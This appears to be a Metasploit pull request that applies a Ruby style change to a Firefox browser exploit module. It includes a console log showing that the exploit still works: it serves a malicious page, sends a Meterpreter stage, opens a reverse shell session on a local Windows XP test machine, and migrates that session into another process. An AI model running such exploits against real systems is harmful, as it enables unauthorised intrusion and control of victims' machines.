Favor unless over if for negative condition

The condition isn't broken now, but we are going to favor unless over if for negative condition, as recommended on the Ruby Style guide, and pointed by @todb-r7 on #2217.

Verifying module is working after changes:

```
msf > use exploit/windows/browser/mozilla_firefox_onreadystatechange 
msf exploit(mozilla_firefox_onreadystatechange) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444 
[*] Using URL: http://0.0.0.0:8080/WlhfB1WXDadtp0
[*]  Local IP: http://192.168.0.3:8080/WlhfB1WXDadtp0
[*] Server started.
msf exploit(mozilla_firefox_onreadystatechange) > [*] 192.168.0.3      mozilla_firefox_onreadystatechange - URI /WlhfB1WXDadtp0 requested...
[*] 192.168.0.3      mozilla_firefox_onreadystatechange - Sending HTML
[*] 192.168.0.3      mozilla_firefox_onreadystatechange - URI /WlhfB1WXDadtp0/iframe.html requested...
[*] 192.168.0.3      mozilla_firefox_onreadystatechange - Sending iframe HTML
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:60269) at 2013-08-13 08:45:09 -0500
[*] Session ID 1 (192.168.0.3:4444 -> 192.168.0.3:60269) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: firefox.exe (2380)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1712
[+] Successfully migrated to process 

msf exploit(mozilla_firefox_onreadystatechange) > sessions

Active sessions
===============

  Id  Type                   Information                             Connection
  --  ----                   -----------                             ----------
  1   meterpreter x86/win32  JUAN-C0DE875735\juan @ JUAN-C0DE875735  192.168.0.3:4444 -> 192.168.0.3:60269 (192.168.0.3)

msf exploit(mozilla_firefox_onreadystatechange) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
eComputer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

```